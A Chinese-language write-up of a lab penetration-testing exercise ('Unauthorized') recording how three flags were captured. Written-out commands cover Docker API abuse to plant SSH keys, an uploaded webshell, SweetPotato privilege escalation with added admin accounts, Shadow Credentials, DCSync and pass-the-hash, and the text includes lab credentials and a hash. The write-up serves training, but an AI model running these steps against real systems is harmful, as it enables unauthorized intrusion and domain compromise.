春秋云镜-【仿真场景】Unauthorized writeup
说明
Unauthorized是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。
技术
FTP、Privilege Elevation、AD CS、Kerberos、域渗透
第一个flag
docker 未授权
通过外网信息收集,发现docker未授权
https://cloud.tencent.com/developer/article/1744943
查看镜像
docker -H tcp://47.92.7.138:2375 images
查看容器
docker -H tcp://47.92.7.138:2375 ps -a
启动容器并将宿主机磁盘挂载到/mnt
docker -H tcp://47.92.7.138:2375 run -it -v /:/mnt --entrypoint /bin/bash ubuntu:18.04
写入公钥
在vps上生成秘钥,敲下回车后会有3个交互,第一个是文件名,默认是id_rsa,如需修改,自己输入一个文件名便可。第二与第三是密码与确认密码,是以后使用该公钥时要输入的密码,一般不设置,如有强烈的安全需求,自己设置便可。最后会生成两个文件id_rsa,id_rsa.pub。以.pub结尾的是公钥,另一个是私钥
ssh-keygen -t rsa
将公钥其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中
cd /mnt/root/.ssh/
echo "ssh-rsa AAAAB3NzaC1yc2......." > authorized_keys
可以本地直接用私钥登录ssh
查找flag,提示flag并不在这里
mysql弱口令
查看本机开放的端口
netstat -aptn
查看历史命令,找到mysql密码为123456,其实爆破也能爆破出来
history
访问mysql数据库
mysql -uroot -p123456
mysql> show databases;
mysql> use secret;
mysql> show tables;
mysql> select * from f1agggg01
获得第一个flag
第二个flag
横向渗透
上传npc设置代理,fscan扫描 172.22.7.0/24
172.22.7.67:8081 open
172.22.7.13:80 open
172.22.7.13:22 open
172.22.7.67:445 open
172.22.7.31:445 open
172.22.7.67:21 open
172.22.7.6:445 open
172.22.7.67:80 open
172.22.7.67:139 open
172.22.7.31:139 open
172.22.7.6:139 open
172.22.7.31:135 open
172.22.7.67:135 open
172.22.7.6:135 open
172.22.7.6:88 open
172.22.7.13:2375 open
[+] NetInfo:
[*]172.22.7.6
[->]DC02
[->]172.22.7.6
[*] 172.22.7.67 XIAORANG\WIN-9BMCSG0S
[*] WebTitle:http://172.22.7.13 code:200 len:27170 title:某某装饰
[+] NetInfo:
[*]172.22.7.67
[->]WIN-9BMCSG0S
[->]172.22.7.67
[+] NetInfo:
[*]172.22.7.31
[->]ADCS
[->]172.22.7.31
[*] 172.22.7.31 XIAORANG\ADCS
[*] 172.22.7.6 [+]DC XIAORANG\DC02
[*] WebTitle:http://172.22.7.13:2375 code:404 len:29 title:None
[+] ftp://172.22.7.67:21:anonymous
[->]1-1P3201024310-L.zip
[->]1-1P320102603C1.zip
[->]1-1P320102609447.zip
[->]1-1P320102615Q3.zip
[->]1-1P320102621J7.zip
[->]1-1P320102J30-L.zip
[*] WebTitle:http://172.22.7.67 code:200 len:703 title:IIS Windows Server
[*] WebTitle:http://172.22.7.67:8081 code:200 len:4621 title:公司管理后台
[+] http://172.22.7.13:2375 poc-yaml-docker-api-unauthorized-rce
[+] http://172.22.7.67:8081/www.zip poc-yaml-backup-file
[+] http://172.22.7.13:2375 poc-yaml-go-pprof-leak
FTP未授权
发现了http://172.22.7.67:8081/www.zip 备份压缩包 ,解压后发现download的文件夹与匿名登录的ftp的共享文件一致
因此可以通过ftp上传 webshell
shell地址
http://172.22.7.67:8081/download/shell.asp
直接使用土豆提权,上传SweetPotato.exe
SweetPotato.exe -a "whoami"
经测试3389是开启的,直接添加账号然后登录
SweetPotato.exe -a "net user devyn Admin@123 /add"
SweetPotato.exe -a "net localgroup administrators devyn /add"
获取flag
第三个flag
注意此新建的用户无法执行域命令,所以需要查询到域账号,然后使用PTH登录,如果找到密码可以直接登录,其实也可以直接在shell中执行mimikatz抓取Hash,这边远程桌面使用cmd执行方便一点
抓取到了域账户 zhangfeng/FenzGTaVF6En,重新使用域账号登录,注意用户名要填写 zhangfeng@xiaorang.lab
shadow-credentials
https://wiki.whoamianony.top/active-directory-methodology/shadow-credentials
以下账户拥有 msDS-KeyCredentialLink 属性的写入权限:
- 域管理员账户
- Key Admins 组中的账户
- Enterprise Key Admins 组中的账户
- 对 Active Directory 中的对象具有 GenericAll 或 GenericWrite 权限的帐户
- 机器账户对自身的 msDS-KeyCredentialLink 属性拥有写入权限
zhangfeng账户在Key Admins组中,具有写入权限
向域控制器的 msDS-KeyCredentialLink 属性添加 Shadow Credentials
Whisker.exe add /target:DC02$ /domain:xiaorang.lab /dc:DC02.xiaorang.lab
添加成功后,程序提示命令,基于证书的身份验证请求TGT票据,注意提示命令的最后加上 /ptt
域控制器账户拥有特权,可以使用 Mimikatz 执行 DCSync 来导出域管哈希
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
哈希传递
proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:bf967c5a0f7256e2eaba589fbd29a382 Administrator@172.22.7.6